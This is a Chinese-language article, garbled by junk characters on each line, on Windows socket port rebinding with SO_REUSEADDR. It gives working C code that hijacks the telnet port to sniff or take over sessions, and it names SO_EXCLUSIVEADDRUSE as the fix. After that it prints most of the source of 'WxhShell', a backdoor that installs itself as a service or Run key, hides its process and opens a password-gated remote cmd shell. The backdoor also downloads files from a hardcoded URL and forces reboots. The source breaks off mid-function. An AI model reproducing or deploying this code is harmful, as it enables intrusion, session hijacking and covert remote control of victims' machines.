在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
V~dhTdQ5} s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
&4-;;h\H 8 MO-QO saddr.sin_family = AF_INET;
v])ew| `>
%QCc\ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
gE6'A Ar!0GwE+ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
r'*$'QY-N w7@`:W 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
N#ggT9>X i3w~&y- 这意味着什么?意味着可以进行如下的攻击:
^{uHph9ny ;?/5Mr 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Y$ jX I<#X#_YP 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
eNd&47lJ qzZ/%{Ak 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
t<UJR*R=L V?M(exN 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
JVIFpN" ` A08kwYxiW 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
X84T F~2Y =cEsv&i 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
3mHzOs\jU }b\hRy~=r 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
}nlS&gew^ J%CCUl2 #include
g!XC5*} #include
INA3^p'w #include
F^.A~{&L #include
fbh,V%t7 DWORD WINAPI ClientThread(LPVOID lpParam);
NT+.E[J6 int main()
=^KgNQ {
|6Q5bV WORD wVersionRequested;
8* A%k1+ DWORD ret;
v@=qVwX WSADATA wsaData;
/JS_gr@DK BOOL val;
S9Sgd&a9 SOCKADDR_IN saddr;
P PJ^;s SOCKADDR_IN scaddr;
p^8a<e?f~f int err;
xxur4@p! SOCKET s;
8oJl ] SOCKET sc;
[#Qf#T%5h int caddsize;
;U=b6xE HANDLE mt;
o-rX 4=T DWORD tid;
bG]0| wVersionRequested = MAKEWORD( 2, 2 );
1d< b\P0 err = WSAStartup( wVersionRequested, &wsaData );
%6 *c40 if ( err != 0 ) {
Z<;W*6J printf("error!WSAStartup failed!\n");
N
(4H}2 return -1;
~2Wus8X- }
#Nh'1@@ saddr.sin_family = AF_INET;
EnWv9I< )95k3xo //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
q\@Zf} yUnV%@. saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
7W)W9=&BT saddr.sin_port = htons(23);
dx@dnWRT, if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
&G"s!: {
/0/ouA>+ printf("error!socket failed!\n");
PZ|I3z return -1;
_^&
q,S }
N-K/jY val = TRUE;
>=0]7k; //SO_REUSEADDR选项就是可以实现端口重绑定的
T_D3WHp if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
_Q1p_sdg {
^4fvV\ne_~ printf("error!setsockopt failed!\n");
+mWf$+w return -1;
@S@VsgQ%3Z }
hr];!.Fv //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
!.'D"Me> //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
xqX3uq //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
1'o[9- [h'u@%N|/ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
ID_4M_G {
9295:Y| w1 ret=GetLastError();
DC h
!Z{I printf("error!bind failed!\n");
c]uieig0~ return -1;
tpGT~Y( }
ye.6tlW listen(s,2);
o ks;G([ while(1)
@%,~5{Ir {
on7
n4 caddsize = sizeof(scaddr);
I,hw0e //接受连接请求
K%dQ;C*? sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
],weqs if(sc!=INVALID_SOCKET)
a<&K^M& {
<G}Lc mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
RvAgv[8 if(mt==NULL)
or*{P=m+R {
gHPJiiCv printf("Thread Creat Failed!\n");
Pg8.RvmQ break;
4;AF\De }
o4" [{LyT }
&b|RoPV CloseHandle(mt);
m+!.H\ }
J!l/.:`6 closesocket(s);
DT`HS/~fH WSACleanup();
;}SGJ7 return 0;
Ye3o}G9z }
q? "> DWORD WINAPI ClientThread(LPVOID lpParam)
bh@Ct nO {
9I/l+IS"X SOCKET ss = (SOCKET)lpParam;
Es+I]o0K SOCKET sc;
(?Mn_FNE| unsigned char buf[4096];
X\m\yv}} SOCKADDR_IN saddr;
(c[u_~ ; long num;
TX=894{nGh DWORD val;
_p6r5Y DWORD ret;
K? o p3}f? //如果是隐藏端口应用的话,可以在此处加一些判断
|aP`hVm //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
;d}>8w&tfy saddr.sin_family = AF_INET;
l6bY!I> saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
EsKgS\`RZ saddr.sin_port = htons(23);
hV(^Y)f if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Z;G*wM" {
kf'(u..G printf("error!socket failed!\n");
ESB^"|9 return -1;
&)OI!^ ( }
svmb~n &x6 val = 100;
Ef`'r)) if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
``CM7|)>` {
7"'RE95 ret = GetLastError();
~-k,$J?7 return -1;
TnN
ythwZ }
]R""L<K%HF if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
P*!`AWn {
C~T,[U ret = GetLastError();
S'!&,Dxq^ return -1;
,y]-z8J }
C4(xtSJSd! if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
#$Zx ].[lc {
,
@jtD*c) printf("error!socket connect failed!\n");
t}k:wzZ@ closesocket(sc);
%Lh%bqGz closesocket(ss);
trDw|WA return -1;
Zp/+F( }
W!<7OA g $ while(1)
8e-nzc,] {
JlnmG<WLT //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
82@^vX //如果是嗅探内容的话,可以再此处进行内容分析和记录
LY0f`RX*& //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
EK4%4<" num = recv(ss,buf,4096,0);
|^-D&C(Eu if(num>0)
,^G+<T6 send(sc,buf,num,0);
^<!R%"o- else if(num==0)
MZ}0.KmaZ break;
^mq(j_E. num = recv(sc,buf,4096,0);
=W7-;& if(num>0)
i6HRG\9nU send(ss,buf,num,0);
\H .Cmm^I else if(num==0)
bRu9*4t break;
?+EAp"{j }
xF{%@t closesocket(ss);
F%
n}vA` closesocket(sc);
m+XHFU return 0 ;
4tkT\. }
-]^JaQw B]tj0FB`-* ;-`NT`
#2 ==========================================================
KyrZ&E.` pG"wQ 下边附上一个代码,,WXhSHELL
~TH4='4W3 9xbT?$^ ==========================================================
FQ0&{ulb :oy2mi; #include "stdafx.h"
X`_tm3HC u)Kiwa #include <stdio.h>
jv.tg,c _6 #include <string.h>
1av#u:jy~> #include <windows.h>
0]5XTc3r #include <winsock2.h>
=-Hhm($n #include <winsvc.h>
>rlUV"8jY; #include <urlmon.h>
s3sRMB2 9^DAlY,x. #pragma comment (lib, "Ws2_32.lib")
,j XK #pragma comment (lib, "urlmon.lib")
WD\Yx~o JYWoQ[ZO#> #define MAX_USER 100 // 最大客户端连接数
T/ ECW #define BUF_SOCK 200 // sock buffer
p^ (Z #define KEY_BUFF 255 // 输入 buffer
_LZ(HTX~ Lp-$Ie #define REBOOT 0 // 重启
[{2v} #define SHUTDOWN 1 // 关机
K3\a~_0 X~&8^? #define DEF_PORT 5000 // 监听端口
`^/8dIya />E
ILPPb #define REG_LEN 16 // 注册表键长度
Ba?1q%eG #define SVC_LEN 80 // NT服务名长度
445JOP wtSU43D // 从dll定义API
3:Nc`tM_ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
,gk'8] typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Gjeb)Y6N typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
|_ED*ATR= typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
(hOD s:lH4B // wxhshell配置信息
~x(|'` struct WSCFG {
w tGS"L int ws_port; // 监听端口
:%9R&p:'ar char ws_passstr[REG_LEN]; // 口令
41=H&G& int ws_autoins; // 安装标记, 1=yes 0=no
G9-ETj} char ws_regname[REG_LEN]; // 注册表键名
w_>\Yd [ char ws_svcname[REG_LEN]; // 服务名
W8QP6^lY char ws_svcdisp[SVC_LEN]; // 服务显示名
oJNQdW[ char ws_svcdesc[SVC_LEN]; // 服务描述信息
_R(ZvsOZ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
<D:q4t
int ws_downexe; // 下载执行标记, 1=yes 0=no
;UXV!8SM char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
j]&Qai~}Y char ws_filenam[SVC_LEN]; // 下载后保存的文件名
u~*A-X[ Y$XzZ>VW };
h1(i/{}: JtY$AP$ // default Wxhshell configuration
nygGI_[l struct WSCFG wscfg={DEF_PORT,
UTE6U6 "xuhuanlingzhe",
zd 2_k 9 1,
M/Z$?nd_H "Wxhshell",
TU)Pi.Aa "Wxhshell",
@su<_m6' "WxhShell Service",
b]?5r)GK "Wrsky Windows CmdShell Service",
g$C]ln>"9m "Please Input Your Password: ",
+dLUq2 1,
ShVR{gIs "
http://www.wrsky.com/wxhshell.exe",
N`7OJ)l "Wxhshell.exe"
e;~(7/1 };
,&3+w~Ua Y(`Bc8h // 消息定义模块
*YH!L{y char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
):4)8@]5M char *msg_ws_prompt="\n\r? for help\n\r#>";
cQLPgE0 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
H0tu3Pqk char *msg_ws_ext="\n\rExit.";
d, g~.iS~ char *msg_ws_end="\n\rQuit.";
%pWJ2J@ char *msg_ws_boot="\n\rReboot...";
}R}M>^(R4 char *msg_ws_poff="\n\rShutdown...";
O[$X36z char *msg_ws_down="\n\rSave to ";
?glx8@ N:Q.6_%^ char *msg_ws_err="\n\rErr!";
`L$Av9X\ char *msg_ws_ok="\n\rOK!";
QZ(O2!Mg ~sn3_6{ char ExeFile[MAX_PATH];
NG3:= int nUser = 0;
>A]l|#Rz HANDLE handles[MAX_USER];
Uu+ibVM$ int OsIsNt;
J
?aJa R`$jF\"`r SERVICE_STATUS serviceStatus;
X}
V]3 SERVICE_STATUS_HANDLE hServiceStatusHandle;
~0024B[G Q'cWqr // 函数声明
h`! 4`eI int Install(void);
GGwwdB\x' int Uninstall(void);
Yur}<>`( int DownloadFile(char *sURL, SOCKET wsh);
D@sMCR int Boot(int flag);
2\.23 void HideProc(void);
%.Btf3y~ int GetOsVer(void);
2vB,{/GXP int Wxhshell(SOCKET wsl);
8zRw\]? void TalkWithClient(void *cs);
8?m=Vw<kIZ int CmdShell(SOCKET sock);
ubZuvWZ int StartFromService(void);
4MDVR/Z7 int StartWxhshell(LPSTR lpCmdLine);
'HfI~wN / QL<>g VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
cahlYv' VOID WINAPI NTServiceHandler( DWORD fdwControl );
'bZw-t!M@ m,hqq%qz // 数据结构和表定义
(W"0c?i|] SERVICE_TABLE_ENTRY DispatchTable[] =
`_/1zL[ {
H/[(T%]o {wscfg.ws_svcname, NTServiceMain},
1Zk1!> ? {NULL, NULL}
N1g;e?T': };
k}kwr[ hiVDN"$$ // 自我安装
hx%UZ <a int Install(void)
0)PZS> {
(?uK char svExeFile[MAX_PATH];
aH%tD!%,o HKEY key;
.AX%6+o strcpy(svExeFile,ExeFile);
8KP uCW}q.@4 // 如果是win9x系统,修改注册表设为自启动
0V8G9Gj if(!OsIsNt) {
Q$'\_zV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
p}GTOJT} RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
JSh'iYJ. RegCloseKey(key);
*S<I!7Q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
>~_>.R+{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
{ ~{D(k RegCloseKey(key);
V^D1:9i return 0;
xPT$d,~" }
p8F$vx4, }
V^.Z&7+E`_ }
2&s(:= else {
N/0Q`cQ- KVoi>?a // 如果是NT以上系统,安装为系统服务
)i39'0a SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
<;+QK=f if (schSCManager!=0)
Lrx"Hn{ {
RM2feWm SC_HANDLE schService = CreateService
}
-hH2 (
\sVzBHy d schSCManager,
hI<$lEB wscfg.ws_svcname,
c&RiUU7 wscfg.ws_svcdisp,
R 'mlKe x SERVICE_ALL_ACCESS,
RvVF^~u SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
@*T8> SERVICE_AUTO_START,
3e;K5qSeo/ SERVICE_ERROR_NORMAL,
xU.Ymq& 5 svExeFile,
aeLIs SEx NULL,
S +73 /Vs NULL,
bw#\"uJ NULL,
}LIf]YK NULL,
9%P$e=Ui# NULL
ONcS,oHW );
-Vg0J6x if (schService!=0)
kmfz.:j{ {
=>TXo@rVN CloseServiceHandle(schService);
ZZ0b!{qj3 CloseServiceHandle(schSCManager);
C}XB%:5H5 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
K}S=f\Q] strcat(svExeFile,wscfg.ws_svcname);
+x:VIi if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
k8.,id RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
c3Ig4 n0Y> RegCloseKey(key);
}2?-kj7 return 0;
giddM2' }
OJcI0(G }
g;3<oI/P CloseServiceHandle(schSCManager);
&19z|Id }
ON_GD" }
]=0D~3o3 +w3k_^X9c return 1;
x4_FG{AIu }
7 Uu 9JC8OSjJ // 自我卸载
!.{{QwZ int Uninstall(void)
i6h0_q8
> {
6ozBU^n HKEY key;
w$I$xup ~Oj-W6-+&, if(!OsIsNt) {
+qF,XJ2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
9VTE?, RegDeleteValue(key,wscfg.ws_regname);
3o__tU)B
RegCloseKey(key);
##NowO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
@)@hzXQ RegDeleteValue(key,wscfg.ws_regname);
!. ={p8X-x RegCloseKey(key);
CH h6Mnw return 0;
vr>Rd{dm }
dNs<`2m }
KI<Vvcm }
>\!>CuU else {
}xzbg ~hA;ji|I SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
oakm{I|k} if (schSCManager!=0)
u"r1RG' {
_{?/4ZhA\+ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Sh5SOYLz if (schService!=0)
laFF/g;sRC {
h|=&a0 if(DeleteService(schService)!=0) {
G Q+g.{c CloseServiceHandle(schService);
w.0]>/C CloseServiceHandle(schSCManager);
m`ab5<%Gn return 0;
(V~PYf% }
{?'c|\n Li CloseServiceHandle(schService);
Wr;?t! }
p>]2o\[" CloseServiceHandle(schSCManager);
&5wM` }
R_DZJV O }
j]_"MMwk$< %8GY`T:^ return 1;
s%qK<U4@;Q }
]+0I8eerd thSo,uGlW // 从指定url下载文件
)wYbcH int DownloadFile(char *sURL, SOCKET wsh)
e_pyjaY!s {
M}6? |ir HRESULT hr;
B\!.o=<h char seps[]= "/";
u>-!5=D8 char *token;
'xp&)gL char *file;
Q|}Pc>ae char myURL[MAX_PATH];
Aa/lKiiz char myFILE[MAX_PATH];
lN^} qg>< !=c&U.B strcpy(myURL,sURL);
{utIaMb]&v token=strtok(myURL,seps);
nK9A=H'Hc while(token!=NULL)
6|:]2S {
!23#Bz7 file=token;
Y|iALrx token=strtok(NULL,seps);
W|kKH5E& }
rj].bGQ,+ # nh;KlI0 GetCurrentDirectory(MAX_PATH,myFILE);
K:eP Il{JE strcat(myFILE, "\\");
pb5'5X+ strcat(myFILE, file);
Dy@f21+ send(wsh,myFILE,strlen(myFILE),0);
*m sW4|=^2 send(wsh,"...",3,0);
D ~Y3\KP hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
xem:#>&r if(hr==S_OK)
bP 2IX return 0;
"i1~YE else
>m{)shBX return 1;
HRKe 7#e 3E361?ubM }
B/CP/Pfb ;2;Kq)j_= // 系统电源模块
'
RjFWHAp int Boot(int flag)
<4Jo1 {
8BZDaiE" HANDLE hToken;
8V(#S:G35 TOKEN_PRIVILEGES tkp;
Q04iuhDO: x+9aTsZ if(OsIsNt) {
GxGZxf*( OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
%h%^i
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
$u9y
H Z tkp.PrivilegeCount = 1;
8Mq]
V
v tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
G =+ sW AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
L6O@ q`\z if(flag==REBOOT) {
bg)yliX if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
9c1n return 0;
DP NUm<> }
q*<Df=+B else {
t$Z#zxX if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
!f\y3p*j return 0;
F3b[L^Km] }
0Kjm:x9T }
g<Sa{<0 else {
.;n<k if(flag==REBOOT) {
T%xB|^lf if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
zRJopcE< return 0;
:R<n{%~ }
iCIu]6 else {
zrt8ze=Su if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
a-,BBM 8| return 0;
@"H+QVJ@ }
P~:W+!@5v }
xxm1Nog6 fO.gfHI return 1;
s]r"-^eS3 }
% ;2x.
Nze#u; // win9x进程隐藏模块
#]|9aVrr void HideProc(void)
ge[+/$(1 {
S3Tww]q d*T;RBk HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
CBTa9|57 if ( hKernel != NULL )
q7wd9 6G: {
d]k>7. pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
uM0z%z5b ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
F[c;iM(^ FreeLibrary(hKernel);
n}yqpW!%n }
q"A( l ;#!`cgAh return;
lFD$Mc }
+aV>$Y ^m{kn8 // 获取操作系统版本
!+T+BFw. int GetOsVer(void)
|_%| {
xUzSS@ot^ OSVERSIONINFO winfo;
kO\(6f2|x winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
JF_\A)<ki GetVersionEx(&winfo);
5HioxHL if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
t_WNEZW7f return 1;
oG5JJpLT else
PZRpH return 0;
3Cwqy#X#8 }
VWmZ|9Ri o;\0xuM@ // 客户端句柄模块
2HMlh.R(C int Wxhshell(SOCKET wsl)
?PSm)
~Oa {
rBkf @ SOCKET wsh;
Q4Q*5> struct sockaddr_in client;
'j!7
O+7y DWORD myID;
kN;l@> *Rj>// A while(nUser<MAX_USER)
(9$/r/-a {
8sg8gBt int nSize=sizeof(client);
.dV o[m; wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
JB'q_dS} if(wsh==INVALID_SOCKET) return 1;
r%$-F2.p >)U 7$<&b handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
v/Z}|dT" if(handles[nUser]==0)
NwuME/C7# closesocket(wsh);
dLal15Pb else
~c`@uGw nUser++;
![:S~x1 }
6,0pkx&Nv WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
."PR Z, ;vF8V`f return 0;
"a6
wd }
}O@S;[v
S wr8n*Du // 关闭 socket
%dS7u$Rnh void CloseIt(SOCKET wsh)
(ZjIwA9> {
?Gj$$IAe closesocket(wsh);
.7Ys@;>B nUser--;
@=b0>^\m ExitThread(0);
As1Er[> }
aM3%Mx?w f| 3`8JU // 客户端请求句柄
=2)5_/9au void TalkWithClient(void *cs)
r&xqsZ%R {
Z.:5<oEKg Yk:fV &] SOCKET wsh=(SOCKET)cs;
5}~*,_J2Z char pwd[SVC_LEN];
3.Qf^p char cmd[KEY_BUFF];
<h
U ZD; char chr[1];
_$wWKJy9 int i,j;
i?'HVx *
C~ while (nUser < MAX_USER) {
23y7l=.b/ djPr 4Nog if(wscfg.ws_passstr) {
sxO_K^eD if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
r NqJL_! //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
nV
McHN //ZeroMemory(pwd,KEY_BUFF);
HQaKG4Z i=0;
=5%jKHo+9z while(i<SVC_LEN) {
~5`rv1$ g 6>RyjN // 设置超时
}`IN5NdYp fd_set FdRead;
A`=ESz struct timeval TimeOut;
27E6S)zv FD_ZERO(&FdRead);
p2!x8`IB* FD_SET(wsh,&FdRead);
.
%tc7`k8 TimeOut.tv_sec=8;
).N }x^ TimeOut.tv_usec=0;
TpZ) wC int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
8:L%- if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
W&z.O >?b/_O if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
wv
,F>5P pwd
=chr[0]; AT+|}B!
if(chr[0]==0xd || chr[0]==0xa) { }9:\#
pwd=0; gO4J[_
break; X+P&
up06
} E`XUK,b
i++; A]BG*
} . ~G>vVb
h}z^NX
// 如果是非法用户,关闭 socket w^p
'D{{
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0d`s(b54;O
} =35EG{W(
#TZYe4#f
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8_Y{7;<ey
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >Bskw2
'8i
np[_
while(1) { Kdx?s;i
,, ]y 8P
ZeroMemory(cmd,KEY_BUFF); tV*g1)'zX
}.o
rfW
// 自动支持客户端 telnet标准 zL3~,z/o
j=0; (LTm!"Q
while(j<KEY_BUFF) { U&wVe$
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %=S^{A
cmd[j]=chr[0]; ;r^8In@6
if(chr[0]==0xa || chr[0]==0xd) { 6g@j,iFy
cmd[j]=0; ^z9ITGB~tV
break; l0tMdsz
} h k(2,z
j++; V{{b^y
} wR nt$1
e0j*e7$
// 下载文件 `B
:Ydf
if(strstr(cmd,"http://")) { g?^o++
send(wsh,msg_ws_down,strlen(msg_ws_down),0); HP. j.
if(DownloadFile(cmd,wsh)) 6;I&{9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); pL.r
9T.
else S<88>|&n]
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nypa,_9}
} f*1.Vg0`-
else { H:,rNaz7D^
jp=^$rS6[
switch(cmd[0]) { x?va26FV
bH3-#mw5w
// 帮助 ?%;7k'0"
case '?': { .9lx@6]+
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]#j]yGV
break; Rw^4S@~T
} '2uQ
// 安装 `-]*Qb+
case 'i': { f@[q# }6
if(Install()) ]*%0CDY6`N
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ct|iZLh`j
else #
T$^{/J
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ls5|4%+&
break; 3)atqM)i
} %:N5k+}
// 卸载 L:XnW1(Or
case 'r': { oSx]wZZ
if(Uninstall()) $khWu>b
send(wsh,msg_ws_err,strlen(msg_ws_err),0); y''`73U"
else p8%x@%k
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FGzB7w#
break; ojT TYR{
} ~U~KUL|
// 显示 wxhshell 所在路径 rzLpVpTaz
case 'p': { Y71io^td~j
char svExeFile[MAX_PATH]; \[B5j0vV,
strcpy(svExeFile,"\n\r"); &P&M6v+
strcat(svExeFile,ExeFile); ,l&Dt,
send(wsh,svExeFile,strlen(svExeFile),0); hG
uRV|`
break; HB||'gIC
} f lVQG@
// 重启 p#qQGJe
case 'b': { #=OKY@z/
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]A5FN4 E
if(Boot(REBOOT)) $*H_0w Qc
send(wsh,msg_ws_err,strlen(msg_ws_err),0); pLDseEr<
else { {"Van,w
closesocket(wsh); QyJ}zwD
ExitThread(0); ucL}fnY1
} .,o=#
break;
J5*krH2i
} pzg|?U
// 关机 "n}J6
case 'd': { )ra_`Qdcf
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); QO[!
if(Boot(SHUTDOWN)) :+bQPzL
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |XtN\9V.
else { :~~}|Eu
closesocket(wsh); SBzJQt@Hs
ExitThread(0); W[AX?
} 8jMw7ti
break; %qV=PC
} 4sP0oe[h
// 获取shell PL@hsZty~c
case 's': { vCb3Ra~L`
CmdShell(wsh); )%- FnW
closesocket(wsh); ]p\7s
ExitThread(0); )U`6` &F
break; \5_+6
} I
^?TabL
// 退出 Z[)t34EY"
case 'x': { $k,Z)2
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ckj2$c~
CloseIt(wsh); g1@zk$
break; Q]S~H+eRy
} l<ag\ d
// 离开 2RFYnDN
case 'q': { ylUxK{
send(wsh,msg_ws_end,strlen(msg_ws_end),0); )iNMjg
closesocket(wsh); 9s>q4_D
WSACleanup(); WldlN?[j
exit(1); }rj.N98
break; 4c_TrNwP
} V:fz
} =ps3=D
} 9.{u2a\
({v$!AAv
// 提示信息 zflq|d W
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TD'Rv Tpl
} *T-+Pm-Cq
} FIL?nkYEO
(0 /,R
return; LBq~?Q.e
} DJVH}w}9_P
Nj$3Ig"l
// shell模块句柄 qjFz}6
int CmdShell(SOCKET sock) 8UJK]_99I,
{ q_bE?j{
STARTUPINFO si; VUpa^R
ZeroMemory(&si,sizeof(si)); eee77.@y-p
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cY8XA6
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |`+kZ-M*
PROCESS_INFORMATION ProcessInfo; ]v(8i3P84
char cmdline[]="cmd"; X;lL$
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9UsA>m.
return 0; )_k"_VVcC
} IppzQ0'=y1
Ls< ";QJc
// 自身启动模式 w#vSZbh
int StartFromService(void) Zyt,D|eWj
{ HY0q!.qog
typedef struct hiq7e*Nsb
{ DDxbIkt
DWORD ExitStatus;
Yz(k4K
L
DWORD PebBaseAddress; YT'G#U1x~
DWORD AffinityMask; a"SH_+T{
